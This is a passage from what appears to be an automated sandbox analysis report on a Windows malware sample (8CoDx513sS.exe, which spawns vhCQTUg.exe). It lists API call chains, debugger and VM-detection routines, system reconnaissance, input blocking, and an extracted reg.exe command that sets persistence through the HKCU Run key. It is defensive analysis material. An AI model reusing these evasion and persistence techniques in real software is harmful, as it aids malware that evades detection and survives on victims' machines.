Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_03419374 lstrcpy,lstrcat,CreateDirectoryA,GetLastError,FindFirstFileA,lstrcpy,lstrcat,lstrcat,lstrcpy,lstrcat,lstrcat,lstrcmp,lstrcmp,CreateDirectoryA,GetLastError,CopyFileA,_strstr,_strstr,CreateFileA,CreatePipe,CreateProcessA,_strstr,_strstr,__alldvrm,SetFilePointer,ReadFile,CreatePipe,CreateProcessA,ReadFile,ReadFile,_strstr,_strstr,__alldvrm,SetFilePointer,ReadFile,FindNextFileA,std::ios_base::_Ios_base_dtor,	6_2_03419374
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_034153C4 FindFirstFileA,FindClose,RemoveDirectoryA,Sleep,CreateFileA,GetFileSize,CreateFileA,GetFileSize,SetFilePointer,ReadFile,LocalAlloc,LocalFree,CloseHandle,Sleep,	6_2_034153C4
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_03410134 lstrcpy,FindFirstFileA,lstrcpy,_strstr,LocalAlloc,LocalReAlloc,LocalSize,Sleep,LocalFree,FindNextFileA,FindClose,	6_2_03410134
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_03419194 lstrcpy,CreateDirectoryA,FindFirstFileA,lstrcpy,lstrcpy,CreateDirectoryA,CopyFileA,FindNextFileA,	6_2_03419194
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_034100DA lstrcpy,FindFirstFileA,lstrcpy,FindNextFileA,FindClose,	6_2_034100DA
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_034100BD lstrcpy,FindFirstFileA,lstrcpy,FindNextFileA,FindClose,	6_2_034100BD
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_03411754 FindFirstFileA,FindClose,CreateFileA,Sleep,CreateFileA,CloseHandle,GetLastError,wsprintfA,	6_2_03411754
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_034204C4 RegOpenKeyExA,RegCloseKey,GetTickCount,gethostname,GetUserNameA,GetLastError,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,lstrcpy,lstrlen,OpenSCManagerA,wsprintfA,OpenServiceA,QueryServiceStatus,wsprintfA,lstrlen,GetModuleFileNameA,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindNextFileA,FindNextFileA,EnumDisplaySettingsA,_strftime,OpenSCManagerA,QueryServiceStatus,OpenSCManagerA,QueryServiceStatus,GetLocaleInfoW,WideCharToMultiByte,WideCharToMultiByte,	6_2_034204C4
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_034114F4 lstrlen,wsprintfA,FindFirstFileA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	6_2_034114F4
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_03410AD4 LocalAlloc,wsprintfA,FindFirstFileA,LocalReAlloc,lstrlen,FindNextFileA,LocalFree,FindClose,	6_2_03410AD4
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_03442AFC FindFirstFileExW,	6_2_03442AFC
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_03410E14 FindFirstFileA,CreateDirectoryA,CopyFileA,FindNextFileA,FindClose,	6_2_03410E14
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_0340FEB3 FindFirstFileA,FindClose,FindClose,	6_2_0340FEB3
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_03410CE4 FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,RemoveDirectoryA,	6_2_03410CE4
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_100230CD lstrcpy,FindFirstFileA,lstrcpy,FindNextFileA,FindClose,	6_2_100230CD
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_10023110 lstrcpy,FindFirstFileA,lstrcpy,_strstr,LocalAlloc,LocalReAlloc,LocalSize,Sleep,LocalFree,FindNextFileA,FindClose,	6_2_10023110

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Code function: 6_2_03414404 GetLogicalDriveStringsA,QueryDosDeviceA,lstrlen,lstrcpy,lstrcpy,lstrcat,

6_2_03414404

Source: vhCQTUg.exe, 00000007.00000003.3513400394.0000000002E40000.00000004.00000800.00020000.00000000.sdmp, vhCQTUg.exe, 00000008.00000003.3591828310.0000000002E00000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tPQeMUjgxsRbaaCtOxXSJFDcl.exe(
Source: vhCQTUg.exe, 00000007.00000003.3519472836.0000000002F91000.00000004.00000020.00020000.00000000.sdmp, vhCQTUg.exe, 00000008.00000003.3592951688.0000000002E81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tPQeMUjgxsRbaaCtOxXSJFDcl.exeh
Source: 8CoDx513sS.exe, 00000000.00000002.3413379040.00000000008DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: vhCQTUg.exe, 00000006.00000003.3413102631.00000000030E1000.00000004.00000020.00020000.00000000.sdmp, vhCQTUg.exe, 00000006.00000003.3411919978.0000000002F80000.00000004.00000800.00020000.00000000.sdmp, vhCQTUg.exe, 00000007.00000003.3513400394.0000000002E40000.00000004.00000800.00020000.00000000.sdmp, vhCQTUg.exe, 00000007.00000003.3519472836.0000000002F91000.00000004.00000020.00020000.00000000.sdmp, vhCQTUg.exe, 00000008.00000003.3591828310.0000000002E00000.00000004.00000800.00020000.00000000.sdmp, vhCQTUg.exe, 00000008.00000003.3592951688.0000000002E81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tPQeMUjgxsRbaaCtOxXSJFDcl.exe
Source: vhCQTUg.exe, 00000006.00000002.4033734662.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: 8CoDx513sS.exe, 00000000.00000002.3413379040.00000000008DE000.00000004.00000020.00020000.00000000.sdmp, 8CoDx513sS.exe, 00000000.00000002.3413379040.0000000000940000.00000004.00000020.00020000.00000000.sdmp, vhCQTUg.exe, 00000006.00000002.4033734662.0000000001347000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: vhCQTUg.exe, 00000006.00000003.3413102631.00000000030E1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tPQeMUjgxsRbaaCtOxXSJFDcl.exeP
Source: vhCQTUg.exe, 00000006.00000002.4033734662.0000000001347000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW^

Source: C:\Users\user\Desktop\8CoDx513sS.exe	API call chain: ExitProcess graph end node	graph_0-27152
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	API call chain: ExitProcess graph end node	graph_6-114002
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	API call chain: ExitProcess graph end node	graph_6-114804
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	API call chain: ExitProcess graph end node

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\Users\user\Desktop\8CoDx513sS.exe

Debugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleep

graph_0-26723

Hides threads from debuggers

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Thread information set: HideFromDebugger	Jump to behavior

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

System information queried: KernelDebuggerInformation

Jump to behavior

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Process queried: DebugObjectHandle	Jump to behavior

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Code function: 6_2_033ED051 GetNativeSystemInfo,VirtualAlloc,LoadLibraryA,LdrGetProcedureAddress,Sleep,

6_2_033ED051

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Code function: 6_2_03413334 EnumDisplaySettingsA,SystemParametersInfoA,PostMessageA,SystemParametersInfoA,PostMessageA,BlockInput,

6_2_03413334

Source: C:\Users\user\Desktop\8CoDx513sS.exe

Code function: 0_2_004BEBA7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_004BEBA7

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Code function: 6_2_03406F74 GetProcessHeap,RtlAllocateHeap,VirtualAlloc,VirtualAlloc,VirtualFree,VirtualProtect,GetLastError,FormatMessageW,LocalAlloc,OutputDebugStringA,

6_2_03406F74

Source: C:\Users\user\Desktop\8CoDx513sS.exe

Code function: 0_2_02512F1A LoadLibraryA,GetProcAddress,

0_2_02512F1A

Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_02510B11 mov eax, dword ptr fs:[00000030h]	0_2_02510B11
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_03440211 mov eax, dword ptr fs:[00000030h]	6_2_03440211
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_033EDB31 mov eax, dword ptr fs:[00000030h]	6_2_033EDB31
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_0343889E mov eax, dword ptr fs:[00000030h]	6_2_0343889E

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Code function: 6_2_6C8A2D37 __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

6_2_6C8A2D37

Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_004B8525 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_004B8525
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_004BEBA7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_004BEBA7
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_0251DC3A _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0251DC3A
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_0251AD55 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0251AD55
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_1000DC36 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_1000DC36
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_1000AD51 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_1000AD51
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C881F6A _malloc,std::exception::exception,std::exception::exception,__CxxThrowException@8,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_6C881F6A
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C886D68 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_6C886D68
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C881F75 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_6C881F75
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_0342E32D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_0342E32D
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_0342698B IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_0342698B
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_034269B3 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_034269B3
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_03425C46 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_03425C46
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C886D68 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_6C886D68
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C881F6A _malloc,std::exception::exception,std::exception::exception,__CxxThrowException@8,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_6C881F6A
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C881F75 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_6C881F75

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Code function: 6_2_0341356C keybd_event,

6_2_0341356C

Source: C:\Users\user\Desktop\8CoDx513sS.exe

Process created: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe "C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe"

Jump to behavior

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

6_2_03415A54

Source: 8CoDx513sS.exe, 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, 8CoDx513sS.exe, 00000000.00000002.3416557914.0000000010018000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: Pragma: no-cacheGET&AAAAAAAAAAAA$libcef.dll:\v4.0.30319%s%s\%slib%s%slalala123%text/0SafeMonClassSHELL_TrayWndShell_TrayWnd2.lnkreg.exeadd "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v demo /t REG_SZ /d ""file:///BkShadowWndClass1511617181920212223242526272829303132333435363738404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118120121122123124126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160invalid string positionstring too long
Source: 8CoDx513sS.exe, 8CoDx513sS.exe, 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, 8CoDx513sS.exe, 00000000.00000002.3416557914.0000000010018000.00000002.00001000.00020000.00000000.sdmp, vhCQTUg.exe, vhCQTUg.exe, 00000006.00000002.4034117410.00000000032EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: 8CoDx513sS.exe, 8CoDx513sS.exe, 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, 8CoDx513sS.exe, 00000000.00000002.3416557914.0000000010018000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: SHELL_TrayWnd
Source: vhCQTUg.exe, 00000006.00000002.4034117410.00000000032EE000.00000004.00000020.00020000.00000000.sdmp, vhCQTUg.exe, 00000006.00000002.4034621580.0000000010064000.00000002.00001000.00020000.00000000.sdmp, vhCQTUg.exe, 00000006.00000002.4034195166.00000000033ED000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: -no-remote -profile iexplore.exeTaskbarGlomLevelSoftware\Microsoft\Windows\CurrentVersion\Explorer\Advancedexplorer.exeShell_TrayWnd\rundll32.exe shell32.dll,#61\Microsoft\Edge\msedge.exe\360Chrome\Chrome\secoresdk\\360se6\Application\360se.exe360se6\\Application\360se.exe#32768ntdll.dllRtlCompressBufferRtlGetCompressionWorkSpaceSize%08lX%04lX%lu

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	6_2_6C894CBE
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: EnumSystemLocalesA,	6_2_6C89FCC6
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	6_2_6C89FCF0
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	6_2_6C89FC04
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,InterlockedDecrement,InterlockedDecrement,_free,_free,	6_2_6C895C68
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	6_2_6C89FD93
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	6_2_6C89FD57
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: GetLocaleInfoA,	6_2_6C8A3FD6
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	6_2_6C89F83C
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	6_2_6C89F9D8
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	6_2_6C89F931
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free,	6_2_6C89594A
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	6_2_6C89FA33
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,_malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,	6_2_6C89E436
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	6_2_6C89E510
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,GetLocaleInfoW,GetLocaleInfoW,__calloc_crt,GetLocaleInfoW,_free,GetLocaleInfoW,	6_2_6C88B122
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,_free,_free,_free,_free,_free,_free,_free,_free,_free,InterlockedDecrement,	6_2_6C89F2B0
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: EnumSystemLocalesW,	6_2_0343D3C9
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	6_2_03448641
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: RegOpenKeyExA,RegCloseKey,GetTickCount,gethostname,GetUserNameA,GetLastError,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,lstrcpy,lstrlen,OpenSCManagerA,wsprintfA,OpenServiceA,QueryServiceStatus,wsprintfA,lstrlen,GetModuleFileNameA,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindNextFileA,FindNextFileA,EnumDisplaySettingsA,_strftime,OpenSCManagerA,QueryServiceStatus,OpenSCManagerA,QueryServiceStatus,GetLocaleInfoW,WideCharToMultiByte,WideCharToMultiByte,	6_2_034204C4
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	6_2_03448A58
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: EnumSystemLocalesW,	6_2_03448932
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: GetLocaleInfoW,	6_2_0343D93C
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: EnumSystemLocalesW,	6_2_034489CD
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: EnumSystemLocalesW,	6_2_034488E7
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	6_2_03448FB0
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: GetLocaleInfoW,	6_2_03448EDD
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	6_2_03448DD5
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: GetLocaleInfoW,	6_2_03448CAD
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	7_2_6C894CBE
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: EnumSystemLocalesA,	7_2_6C89FCC6
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	7_2_6C89FCF0
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	7_2_6C89FC04
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,InterlockedDecrement,InterlockedDecrement,_free,_free,	7_2_6C895C68
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	7_2_6C89FD93
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	7_2_6C89FD57
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: GetLocaleInfoA,	7_2_6C8A3FD6
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	7_2_6C89F83C
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	7_2_6C89F9D8
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	7_2_6C89F931
